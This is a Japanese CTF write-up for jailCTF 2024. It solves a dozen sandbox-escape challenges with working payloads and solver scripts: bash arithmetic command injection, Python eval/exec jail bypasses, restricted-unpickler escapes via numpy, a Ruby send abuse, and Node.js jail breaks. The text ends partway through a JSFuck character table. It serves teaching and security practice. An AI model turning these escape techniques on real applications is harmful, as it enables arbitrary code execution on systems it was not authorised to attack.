jailCTF 2024 - writeup
jailCTF楽しかった!なんと9位と国際的な大会で始めて一桁順位とFirst Blood(2 calls)が取れました!
あえて言うならpyjailが多くてjs jailが二問しかなかったのが残念でした。EXECJsで学んだことあんまり活かせず...
✅ blind-calc (103pts 176/715solves クリア率25%)
数式を送ると計算結果が返ってくる
$ nc challs1.pyjail.club 5838
Enter math > 3*3
9
無効な数式を送ると、エラー文が返ってくる。
Enter math > 0/0
./blind.sh: line 3: 0/0: division by 0 (error token is "0")
調べていると、BashのArithmetic Expansionというものらしい。「bash arithmetic expansion jail escape」で調べると、解説記事がヒットする。以下でフラグが得られる。
Enter math > a[$(ls)]
./blind.sh: line 3: blind.sh
flag.txt
run: syntax error: invalid arithmetic operator (error token is ".sh
flag.txt
run")
Enter math > a[$(cat flag.txt)]
./blind.sh: line 3: jail{blind-calc_9c701e8c09f6cc0edd6}: syntax error: invalid arithmetic operator (error token is "{blind-calc_9c701e8c09f6cc0edd6}")
✅ filter'd (125pts 126/715solves クリア率18%)
14文字以下しか実行できないpython sandbox。
#!/usr/local/bin/python3
M = 14 # no malicious code could ever be executed since this limit is so low, right?
def f(code):
assert len(code) <= M
assert all(ord(c) < 128 for c in code)
assert all(q not in code for q in ["exec",
"eval", "breakpoint", "help", "license", "exit"
, "quit"])
exec(code, globals())
f(input("> "))
グローバル変数にアクセスできるので、最初に思いついたのはM=99;f(input())
だったが、これは15文字である。しかし、この方針で行えないか探ってみる。
結論から言うと、次でフラグが得られる。
> N=input();f(N)
f(input())
M=99;f(N)
print(open('flag.txt').read())
jail{can_you_repeat_that_for_me?_aacb7144d2c}
次のような手順である。
-
N=input()
が実行される。 -
N
に文字列"f(input())"
が代入される - f(N)が実行される。
- 文字列"f(input())"がexecされる。
- 文字列"M=99;f(N)"がexec開始。
- M=99となる
- f(N)が実行される
- 文字列"f(input())"がexecされる。
- M=99の状態で、
f(input())
が実行できる。
✅ parity 1 (219pts 90/715solves クリア率13%)
偶数番目の文字のordが偶数、奇数番目の文字のordが奇数、といった条件を満たした場合のみ実行できるsandbox。ascii外の文字も使えない。
#!/usr/local/bin/python3
inp = input("> ")
for i, v in enumerate(inp):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp)
とりあえずfuzzingして使える関数を求める。
for x in dir(__builtins__):
for i, v in enumerate(x):
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
break
else:
print(x)
for x in dir(__builtins__):
for i, v in enumerate(x):
if not (ord(v) < 128 and i % 2 != ord(v) % 2):
break
else:
print(x)
# 結果
# None
# bin
# dir
# hex
# len
# type
# vars
# zip
# abs
# any
# credits
# eval
# exit
# globals
# id
# iter
# open
eval
が利用できるので、後は任意の文字列を生成する方法があわかれば良さそうだ。
ここで、"
(34)と'
(39)の偶奇が異なることを利用する。文字が奇数ならば"a"
、偶数ならば'b'
のようにすれば任意の文字を表現できる。
(32)と+
(43)を利用することで、"a"+ 'b'
のように結合することができる。それを利用したしてソルバーを作成した。
def parseParity(s):
res = ""
for i in range(len(s)):
if ord(s[i]) % 2 == 0:
res += f" '{s[i]}' +"
else:
res += f'"{s[i]}"+'
return res.strip()[:-1]
payload = "print(open('flag.txt').read())"
inp = f""" eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
# print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 )
print(inp)
これで、python test.py | nc challs2.pyjail.club 7991
を実行してフラグを入手した。
✅ parity 2 (758pts 41/715solves クリア率5.7%)
先ほどの問題と同じような条件だが、builtinsが使えなくなっている代わりに、ラムダ関数が一つ使える。また、アンダーバーに対するチェックがなくなっている。
#!/usr/local/bin/python3
inp = input("> ")
f = lambda: None
for i, v in enumerate(inp):
if v == "_":
continue
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
print('bad')
exit()
eval(inp, {"__builtins__": None, 'f': f})
とりあえず、またf
の要素をfuzzingしよう。
f = lambda: None
for x in dir(f):
for i, v in enumerate(x):
if v == '_':
continue
if not (ord(v) < 128 and i % 2 == ord(v) % 2):
break
else:
print(x)
for x in dir(f):
for i, v in enumerate(x):
if v == '_':
continue
if not (ord(v) < 128 and i % 2 != ord(v) % 2):
break
else:
print(x)
# 結果
# __dir__
# __le__
# __ne__
# __globals__
# __gt__
# __init__
f.__globals__
が使えるのがありがたい。確認したところ、f.__globals__['__builtins__'].eval
が利用できる。あとは、'__builtins__'
とeval
の中身を前の問題と同様に求めればいい。
def parseParity(s):
parity = 0
res = ""
for i in range(len(s)):
if ord(s[i]) % 2 == 0:
res += f" '{s[i]}' +"
else:
res += f'"{s[i]}"+'
return res.strip()[:-1]
payload = """f.__builtins__["print"](f.__builtins__["open"]("flag.txt").read())"""
inp = f"""f\t.__globals__ [{parseParity('__builtins__')}].eval\t({parseParity(payload)})"""
# for i, v in enumerate(inp):
# print(i % 2, ord(v) % 2, v, i % 2 == ord(v) % 2 or v == '_')
print(inp)
✅ SUS-Calculator (404pts 66/715solves クリア率9.2%)
rubyで四則演算ができるようなsandbox
#!/usr/local/bin/ruby
class Calc
def self.+ left, right
left = left.to_i if left.is_a? String
right = right.to_i if right.is_a? String
return left + right
end
# 同様のものが- * / %で定義されている。
end
# snap
loop do
print "> "
cmd = gets.chomp.split
# snap
left, op, right = cmd
puts Calc.send(op.to_sym, left, right)
end
この、Calc.send
とはなんだろうか?クラスで定義されていないので、rubyで組み込んであるものだろうと思い調べてみると、クラスからシンボルを利用して任意のメソッドを呼び出すことができるみたいだ。
メソッドではなくグローバル関数で実行したらどうなるのだろう?と思い、ls system -l
と実行してみたら、なんとsystem('ls', '-l')
が実行できた。正直rubyはそこまで詳しくないので、ちゃんと理由はわかっていない。
SUS Calculator (Super Ultra Safe Calculator)
I heard using eval for these calculator apps is bad, so I made sure to avoid it
Good luck doing anything malicious here >:)
> ls system -l
total 8
-r--r--r-- 1 nobody nogroup 28 Jul 3 02:25 flag.txt
-rwxr-xr-x 1 nobody nogroup 1164 Jul 2 06:11 run
true
> cat system flag.txt
jail{me_when_i_uhhh_escape}
true
✅ no nonsense (709pts 44/715solves クリア率6.1%)
pythonのsandbox。次の条件を満たす必要がある
- 入力がastによって解釈されたとき、その変数名が元のコードに含まれていない
-
([=])
の文字を含まない。 -
\n
を含まない(含むとinput
が終了してしまう)
#!/usr/local/bin/python3
from ast import parse, NodeVisitor
inp = input('> ')
if any(c in inp for c in '([=])'):
print('no.')
exit()
class NoNonsenseVisitor(NodeVisitor):
def visit_Name(self, n):
if n.id in inp: # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
print('no ' + n.id)
exit()
NoNonsenseVisitor().visit(parse(inp))
exec(inp) # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk
pythonは、全角の英字といったUnicode文字をAscii文字に変換してくれるので、変換後の変数名は元のコードに含まれなくなる。これを利用して最初の条件はクリアできる。
2つ目の条件について、カッコなしでは関数が実行できないように思えるが、クラスのデコレータを利用して関数実行できる。これを利用して、`eval(bytes.fromhex("<ペイロードの16進数>".format(_)))に該当するコードを実行すれば、任意のコードを実行できるようになる。
デコレータを利用すると改行を利用しないといけないので、3つ目の条件を考える必要がでてくる。これも、pythonは\r
を改行として扱うが、input
が終了しないことを利用すればよい。
次のソルバーでフラグを入手した。
e = "__import__('os').system('cat flag.txt')"
e = e.encode().hex()
payload = f"""@eval
@bytes.fromhex
@"{e}".format
class _:pass
""".replace("\n", "\r")
print(payload)
こういったテクニック系はここがよくまとまっている。
✅ pickled magic (758pts 41/715solves クリア率5.7%)
pickleを読み込んでくれるが、numpy
の__
を含まない変数しか読み込めないようになっている。
#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == 'numpy' and '__' not in name:
return _getattribute(numpy, name)[0]
raise pickle.UnpicklingError('bad')
data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())
pickleは、find_class
を使って、find_class('__builtins__', 'eval')
のように実行しないとimportできないため、この環境では一般的なbuiltinさえ利用できない。したがって、numpyから有用そうな関数を探す必要がある。
ファイル読み込む系だろうと思って、「numpy ファイル読み取り」とかで検索すると、loadtxt
という関数がヒットした。どうやらcsvでないといけないようだが、どうだろうか?
from pickaxe.crafter import Crafter
crafter = Crafter()
crafter.import_from('numpy', 'loadtxt')
crafter.push_str('flag.txt')
crafter.call_f(1)
b = crafter.get_payload(check_stop=True)
print(b.hex())
$ python test.py | nc challs1.pyjail.club 5200
(hex)> ValueError: could not convert string to float: 'jail{idk_about_mag1c_but_this_is_definitely_pickled}'
エラー文にフラグが含まれていた。
ちなみに、pickaxeというツールで生成したが、このくらいであれば、元のpickle.load
でも生成できる
import pickle
class Evil:
def __reduce__(self):
from numpy import loadtxt
return (loadtxt, ('flag.txt',))
pickled = pickle.dumps(Evil())
print(pickled.hex())
✅ jellyjail (1053pts 23/715solves クリア率3.2%)
jellyというesolang(難読プログラミング言語)のsandbox。二文字しか利用できない。
#!/usr/local/bin/python3
# https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
from jellylanguage.jelly.interpreter import jelly_eval
inp = input()[:2]
banned = "0123456789ỌŒƓVС" # good thing i blocked all ways of getting to python eval !!! yep
if not all([c not in inp for c in banned]):
print('stop using banned')
exit()
print(jelly_eval(inp, []))
これはひたすらdocumentationを読んで有用そうな関数を探すしかない。
まずは、二文字ではファイル名さえ入力できないので、追加で文字を入力できるようにしたい。「STDIN」で検索すると、Ɠƈɠ
が使えるみたいだが、このうち使えるのはɠ
だけだ。これで、任意の文字列を入力することができる。
次に、実行をしたいので、「eval」で検索してみると、Vv
があるが、使えるのはv
だけだ。
したがって、ɠv
を入力すると、次の標準入力をjellyコードとして実行してくれる。
先程の検索で、Ɠ
は標準入力をpythonコードとして実行してくれることはわかっていたので、これをさらに利用して、任意コード実行までできた。
$ nc challs1.pyjail.club 5999
ɠv
Ɠ
print(open('flag.txt').read())
jail{jelllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllly_c3056822a950d0}
✅ get and call (1068pts 22/715solves クリア率3.1%)
0
から始まり、getattr
と引数なしの関数呼び出しのチェーンのみでファイル読み込みができるか、というチャレンジ。
#!/usr/local/bin/python3
import sys
print(sys.version)
obj = 0
while True:
print(f'obj: {obj}')
print('1. get attribute')
print('2. call method')
print(type(obj))
print(dir(obj))
inp = input("choose > ")
if inp == '1':
obj = getattr(obj, input('attr > '), None)
if obj == None:
print("not found")
exit(1)
if inp == '2':
obj = obj()
# note: i highly recommend using either the dockerfile or exploring attributes on remote with attribute __dir__. this challenge may function much differently on your local python environment!!!!
まずはどうにかして__builtins__
にたどり付きたい。pythonコードで定義された関数は、内部プロパティとして__builtins__
をもっていることが多いが、リスト型などCで定義されたクラスのメソッドはそれを持っていない。int型のプロパティやメソッドはいずれもCで定義されたものだらけなので、できたら別のモジュールを参照したい。
とりあえず、いままでの経験から、(0).__dir__.__class__.__subclasses__()
でサブクラスの一覧を見てみる。リストからはlst.__iter__().__next__()
で最初の要素を手に入れるか、lst.__reversed__().__next__()
で最後の要素を手に入れるかの二択である。
この環境では最初のモジュールはtype
、最後は_distutils_hack.shim
であった。_distutils_hack.shim
の要素をdir
を使いながら見ていると、shim.__enter__
に__builtins__
が内部プロパティとして定義されていた。
次に、__builtins__
からファイルの読み取りにつなげる方法だが、引数が必要な__import__
やopen
は利用できない。help
かbreakpoint
を利用したいが、幸いなことにhelp
は__builtin__
の最後の要素であるので、__builtins__.values().__reversed__().__next__()
で取得できる。
help関数を引数なしで実行するとless
が起動することによる任意コード実行ができるだろうと思い試してみるが、less
がインストールされていないためうまくいかない。breakpoint
を取得する必要がありそうだ。
ここで、__builtins__
に対してpopitem
を繰り返せば、そのうちbreakpoint
を取得できるのでは?と考えたが、その前にprint
をpopitem
してしまい、実行環境がprint
できずにエラーで終了してしまう。
一歩戻って、help
に有用な変数が定義されていないか再度確認したところ、なんと、__globals__
にsys
が定義されていた。sys.breakpointhook
はbreakpoint
と同様の動きをするので、これが利用できそうだ。sys
は__globals__
の最初か最後の要素ではないが、これは先程のpopitem
のテクニックを利用することで取得できる。
breakpointhook
が実行できたら、その環境で任意のコードが実行できた。
以下がソルバーとなる。
from pwn import *
REMOTE = True
DEBUG = False
def get(io, b):
print(f"----- get {b} -------")
io.readline()
io.readline()
if DEBUG:
print(io.readline().decode())
print(io.readline().decode())
io.sendlineafter(b"choose >", b"1")
io.sendlineafter(b"attr >", b.encode())
res = io.readline().decode()
print(res)
return res
def call(io, b):
get(io, b)
print(f"----- call -------")
io.readline()
if DEBUG:
print(io.readline().decode())
print(io.readline().decode())
io.sendlineafter(b"choose >", b"2")
res = io.readline().decode()
print(res)
return res.split("obj: ",maxsplit=2)[1]
io = remote("challs3.pyjail.club", 8899) if REMOTE else remote("localhost", 5000)
print(io.readline().decode())
call(io, "__dir__")
get(io, "__class__")
get(io, "__base__")
call(io, "__subclasses__")
while True:
get(io, "__class__")
get(io, "__base__")
call(io, "__subclasses__")
call(io, "pop")
get(io, "__enter__")
get(io, "__builtins__")
call(io, "values")
call(io, "__reversed__")
call(io, "__next__") # help
get(io, "__repr__")
get(io, "__globals__")
r = call(io, "popitem")
if 'Quitter' in r:
break
get(io, "__class__")
get(io, "__base__")
call(io, "__subclasses__")
call(io, "pop")
get(io, "__enter__")
get(io, "__builtins__")
call(io, "values")
call(io, "__reversed__")
call(io, "__next__") # help
get(io, "__repr__")
get(io, "__globals__")
call(io, "values")
call(io, "__reversed__")
call(io, "__next__") # sys
get(io, "breakpointhook")
io.sendlineafter(b"choose >", b"2")
io.sendlineafter(b"(Pdb)", b"open('flag.txt').read()")
✅ lost in transit (1126pts 18/715solves クリア率2.5%)
次のことをする。
- 入力から任意の整数を受け取る
- (整数,フラグ)となるタプルをpickle.dumpsする
- pickleのバイナリのうちの1バイト指定する
- 指定された1バイトを1だけインクリメントする
- 変更されたpickleをloadsし、タプルの最初の要素を表示する。
#!/usr/local/bin/python3
import pickle
from io import BytesIO
from ast import literal_eval
user_data = int(input('favorite number > '))
flag = open('flag.txt').read().strip()
dumped = pickle.dumps((user_data, flag))
assert len(flag) == 79, len(flag)
dumped = bytearray(dumped)
dumped[int(input('radiation alert! > ')) % len(dumped)] += 1
dumped = bytes(dumped)
class ActuallySecureUnpickler(pickle.Unpickler):
def find_class(self, module, name):
return 'no'
info, _ = ActuallySecureUnpickler(BytesIO(dumped)).load()
print(f'here is your info: {info}, {_}')
pickleの内部を説明すると、<命令バイト><使用するバイト列>という構成であり、「この命令で使用するバイト列」の長さは命令バイトによって決定する場合と、<命令バイト><バイト列の長さ><使用するバイト列>という構成になっている場合がある。
ここで、命令バイトを1インクリメントすることにより、使用するバイト列の長さが異なる命令にすることができないだろうか。
ソースコードを確認すると、int型の固定値を定義する命令はいくつかあるが、1インクリメントすると使用するバイト列が短くなる命令にLONG4があった。これはインクリメントすると、SHORT_BINUNICODE
という短い文字列として扱うことになるので、データがエラーになりにくそうで良さそうだ。
LONG4
の仕様は次の通り。(リトルエンディアンであることに注意する)
バイト列の長さ
-----------
8B 00 01 00 00 00 00 00 ...
-- ------------
命令 整数
SHORT_BINUNICODE
の仕様は次の通り。
バイト列の長さ
--
8C 03 70 6F 67
-- --------
命令 文字列
次のように変換することにより、任意の数のバイトを読み飛ばすことができる。
変換前
長さ
-----------
8B 03 01 00 00 8B 4E 01 00 00 ...
-- ------------
命令 整数
変換後
長さ 命令 数値
-- -- ----------
8C 03 01 00 00 8B 00 01 00 00 00 00 00 ......
-- -------- -----------
命令 文字列 バイト列の長さ
次に、どこまで読み飛ばせば、「タプルの1つ目の値がフラグである」という状態になるだろうか。一度変換前のpickleをpickletools
を利用してディスアセンブルしてみよう。
0: \x80 PROTO 4
2: \x95 FRAME 349
11: \x8b LONG4 2117927309889438174459650158668673971679664712562473961529694317938255799180846097576571791705565656756303820286977508605566619428486573004887697154798274682593665179143438079868940959769536240470986433389138252154587854840962728339822221350566374307960038742559051287290680173628035288832904554028985901745564177753025304488882010507612295626414894352651145842398187071689918132565341655148151347141946711521751440013293116283787565541117240665991000726780856711985700908873208313264547895818776171214908852966565917355871174476978782118754092657304498165222185509547752135370035591813854143984012876422254401698572271755
275: \x8c SHORT_BINUNICODE 'jail{the flag will be here on remote!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}'
356: \x94 MEMOIZE (as 0)
357: \x86 TUPLE2
358: \x94 MEMOIZE (as 1)
359: . STOP
highest protocol among opcodes = 4
pickleはスタック型のメモリをもっており、TUPLE2という命令でスタックの上の2つの要素をPOPして、タプルにしてPUSHする、という動作をしている。また、全体の結果はスタックの一番上の要素になることにも注意が必要だ。
ソースコードを読むと、}
がEMPTY_DICT
という命令であることがわかった。これは、空のdictをPUSHする命令だ。}
の直前までを整数として扱うことによって、スタックトップはその数値と空のdictとなり、無事タプルの最初の要素がフラグ(をバイト列にしたものを含む整数)となった。
import pickle
user_data = (1 << (0x0102)*8)
user_data += pickle.LONG4[0]
user_data += (0x014e) << 8
flag = open('flag.txt').read().strip()
dumped = list(pickle.dumps((user_data, flag)))
idx = dumped.index(0x8b)
# dumped[idx] += 1
# print(pickle.loads(bytes(dumped)))
# open('a.pkl', "wb").write(bytes(dumped))
print(user_data)
print(idx)
$ python test.py | nc challs2.pyjail.club 7796
favorite number > radiation alert! > here is your info: 1023240506717873605029270795561647615120101861741024622778427805206231452847421919983014957906133476938345756257986434977982598062861815204064877714633426280539274230295984631346857270108130878270619106265369634376584260456693623315340051904217507837798517797712071393516527025703377099281206246419831485050933997406163378052207882745183259164227084919492610721859967998321229477916271377642912410509021761945294921537005005479943075816574054885769530520901156627610180677750965996260397047836036526347991190798749885123032437982637393762386616668046036904919159821495137129218347442026569407308173573673861937126158396448246490778957880530060001884219937955393452021522657698809927910889084329304517490599852232070098611496985716412778179826087537926829588025246183642271800096501696274522855851727781888
$ python -c "from Crypto.Util.number import long_to_bytes;print(bytes(reversed(long_to_bytes(1023240506717873605029270795561647615120101861741024622778427805206231452847421919983014957906133476938345756257986434977982598062861815204064877714633426280539274230295984631346857270108130878270619106265369634376584260456693623315340051904217507837798517797712071393516527025703377099281206246419831485050933997406163378052207882745183259164227084919492610721859967998321229477916271377642912410509021761945294921537005005479943075816574054885769530520901156627610180677750965996260397047836036526347991190798749885123032437982637393762386616668046036904919159821495137129218347442026569407308173573673861937126158396448246490778957880530060001884219937955393452021522657698809927910889084329304517490599852232070098611496985716412778179826087537926829588025246183642271800096501696274522855851727781888))))"
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x8cOjail{they_talk_about_integer_overflow_but_i_dont_think_this_is_what_they_meant'
✅ smiley-faiss (1243pts 9/715solves クリア率1.3%)
pickleを読み込むが、find_class
は"安全なnumpy"しか読み込むことができない。
#!/usr/local/bin/python3
# slightly modified. original at https://github.com/facebookresearch/faiss/blob/main/contrib/rpc.py
import pickle
from io import BytesIO
import importlib
safe_modules = {
'numpy',
'numpy.core.multiarray',
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe modules.
if "save" in name or "load" in name:
return
if module in safe_modules:
import safernumpy
import safernumpy.core.multiarray
return getattr({"numpy": safernumpy, "numpy.core.multiarray": safernumpy.core.multiarray}[module], name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
if __name__ == "__main__":
#RestrictedUnpickler(BytesIO().load()
RestrictedUnpickler(BytesIO(bytes.fromhex(input(">")))).load()
"安全なnumpy"は実際は中身がない。
import safernumpy.core
# cant have vulnerabilities in functions if there are no functions to begin with!
import safernumpy.core.multiarray
# nuh uh
# same goes here lol
dir
で要素を確認していると、numpy.__builtins__
というプロパティが存在することがわかった。ただし、from numpy import __builtins__
は可能だが__builtins__.exec
は、内部的にはfrom __builtins__ import getattr;getattr(__builtins__, 'exec')
となるため、getattr
が取得できずにエラーになってしまう。
さらにnumpy.safernumpy
によって、自身を取得することができることもわかった。
pickleにはBUILD
という命令があり、これは1つ目のオブジェクトの要素を2つ目のオブジェクトにコピーするというものだ。これを利用して、safernumpy
に__builtins__
の要素を全てコピーする。すると、from numpy import exec
が可能となる。
以下がそれを利用したソルバー
from pickaxe.crafter import Crafter
import pickle
crafter = Crafter()
crafter.import_from("numpy", "safernumpy")
crafter.import_from("numpy", "__builtins__")
crafter.add_payload(pickle.BUILD)
crafter.import_from("numpy", "exec")
crafter.push_str("__import__('os').system('cat flag.txt')")
crafter.call_f(1)
b = crafter.get_payload(check_stop=True)
print(b.hex())
✅ js-without-getattr (1266pts 7/715solves クリア率0.98%)
nodeのsandbox。次の条件を満たす必要がある。
- 長さ480文字以下
-
<.;,;.>:[\x09\x0a\x0b\x0c\x0d]`upxq"\\x20
の文字を含まない -
Esprimaでパースした結果に使えない文字列や表現がある。以下は特に注目すべき使えない表現
- VariableDeclaration - 変数宣言
- CallExpression - 関数呼び出し
- MemberExpression - 'a.b'のような形式のメンバ呼び出し
- ArrayExpression - 'a[b]'のような形式のメンバ呼び出し
#!/usr/local/bin/node
const readline = require('node:readline');
const rl = readline.createInterface({input: process.stdin, output: process.stdout});
const {parseScript} = require('esprima');
rl.question('can you js without getattr? > ', (inp) => {
// length filter
if (inp.length > 480) {
console.log('fails length filter');
rl.close();
return;
}
// char filter
const banned = new Set("<.;,;.>:`[\x09\x0a\x0b\x0c\x0d]`upxq\"\\\x20"); // partially stolen from caasio ce from angstromctf 2024
for (const char of inp) {
const c = char.charCodeAt(0);
if (c < 0x20 || c > 0x7e || banned.has(char)) {
console.log("fails char filter (" + char + ')');
rl.close()
return;
}
}
// tree filter
let parsed = parseScript(inp);
let visit = ((n) => {
if (typeof n === 'string') {
if (['VariableDeclaration', 'SpreadElement',
'NewExpression', 'CallExpression',
'Proxy', '__defineGetter__', '__proto__',
'Property', 'MemberExpression', 'Property',
'ArrayExpression', 'instanceof'].includes(n)) {
console.log('fails tree filter');
console.log(n);
throw new Error();
};
}
if (n instanceof Object) {
for (let k of Object.getOwnPropertyNames(n)) {
visit(n[k]);
}
}
});
try {
visit(parsed);
} catch {
rl.close();
return;
}
// safety
delete parsed;
delete parseScript;
delete debug;
delete banned;
delete visit;
delete readline;
delete fetch;
delete Symbol;
// send it
let res = eval(inp);
console.log(res)
rl.close();
});
まず問題にもある通り、メンバにアクセスする方法のconsole.log
、console['log']
、console.get('log')
のいずれも禁止されてしまっているのが難しい。逆にどのような表現が許可されているのかを一覧を見て確認すると、WithStatement
というものが許可されていた。with文は、with(console){log}
のような形式で要素にアクセスする方法だ。これで要素にアクセスする方法がわかった。
次に、関数呼び出しの形式を取らずにファイル読み込みを行う方法を考える。コード内で関数が呼び出せないのであれば、eval
の外で呼び出される関数を利用しよう。eval
のすぐ後にconsole.log
が呼ばれているので、console.log
をeval
に置き換えることで任意コード実行が可能になる。
次に禁止文字の回避を行う。;
や,
が利用できないので、複数の文が実行しにくいが、(console.log=eval)&&(a='foobar')
のように&&
で結合することによって複数の文を記載できる。また、eval
に渡す文字列については、base64に変換した上でatob
でえ元に戻そう。base64で出現する文字列のうち、「upxq」が禁止されているが、そこはスペースいれたり文字列を区切ったりすることでどうにか回避することができる。
最後に、eval
で実行する内容だが、直接require
を利用することはできない。これはprocess.mainModule.require
で代替できるので、fs
モジュールを利用してファイルを読み込める。
以下がソルバー
let payload = ` console . info(process["mai"+ "nModule"]. require('fs' )["readF"+ "ileSync"]( 'flag.txt' )["toStr"+ "ing"]())`;
payload = btoa(payload)
const inp = `with(console){(log=eval)&&(a='${payload}')&&'eval(atob(a))'}`
console.log(inp)
多分これが一番短いと思います
with(console)(k=dir)+(log=e=eval)+(a='aW1wb3J0KCdmcycgKS4gdGhlbihkPT5rKGQgLiByZWFkRmlsZVN5bmMoICdmbGFnLnR4dCcgKSsnJykgKQ')&&'e(atob(a))'
136文字
✅ 2 calls (1288pts 5/715solves クリア率0.70%)
First blood🩸とれました!やったね!
nodeのsandbox。()
が一回ずつと![]+
しか使えない。いわゆるJSFuckのさらに制限が強いバージョン。
#!/usr/local/bin/node
const readline = require('node:readline');
const rl = readline.createInterface({input: process.stdin, output: process.stdout});
console.log("2call 2call.");
rl.question('code > ', (answer) => {
let parenCount = 0;
for (let c of answer) {
if ("()".includes(c)) {
if (++parenCount > 2) {
console.log("too many");
rl.close();
return;
}
continue;
}
if (!"![]+".includes(c)) {
console.log("no not that");
rl.close();
return;
}
}
// console.log(eval(answer).toString());
console.log(Object.values(process)[78].constructor._load)
console.log(eval(answer)());
console.log('the code ran');
rl.close();
});
JSFuckのコードの解説は、Qiita記事が詳しいので、詳細は省く。
まず、暗黙の型変換を利用して使える文字を集めていく。通常のJSFuckならば、t
は
(true+[])[0] // ('true')[0]
で取得するが、括弧が使えないので次のように取得する。
[true+[]][0][0] // ['true'][0][0]
これで、aAbcdefFgilmNnorSstu (){}[]0123456789.+
が取得できた。
通常のJSfuckであれば、ここから[]['at']['constructor'](<任意コード>)()
を利用して使える文字列を増やしていくが、今回はそれが一回しか行えない。ここまで入手した文字列のみを使って、任意コードを表す文字列を生成したい。
この文字列を生成するコードでは括弧がもう使えないので、[]['at']['constructor']('Function(<ペイロード>)()')()
のような形式にする(evalではないのは、まだv
がつかえないから)
このレイヤーでは、かなりたくさんの文字列を使うことができる。特に、(数字).toString(36)
から、小文字+数字を表現できることや()
が自由に使えることに注目する。ただし、大文字はまだ制限がある(と見せかけてatob
を使えば表現できることに後で気がついた)。
js-without-getattr
と同様にprocess.mainModule.require('fs')
を利用したいが、M
が利用できない。Object.values(process)
とすれば、mainModule
を指すindexは常に一定なので、Object.keys(process)
を一度評価して見て、indexを探る。
後は、fs.readDirSync('..')
してからfs.readFileSync('../flag-....txt')
を読めば良い。実は、フラグが一個前のディレクトリにあることに、直前まで気づいていなかった。/
はまだ入手しておらず、かなり詳しい全部の文字の列挙方法を見ても、/
が遠いことがわかる。(RangeError
発生→RegExp()
評価といった手順)。面倒になったので、実行ファイルにスラッシュが含まれることを利用して、fs.readFileSync('run').toString[2]
の形で、ファイルからスラッシュを取ってきた。(別にprocess.argv
とか、いろいろ方法はありそう。)
以下のようなソルバーになった。
const letters = {
"a": "[![]+[]][+[]][+!![]]",
"A": "[[][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
"b": "[[+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
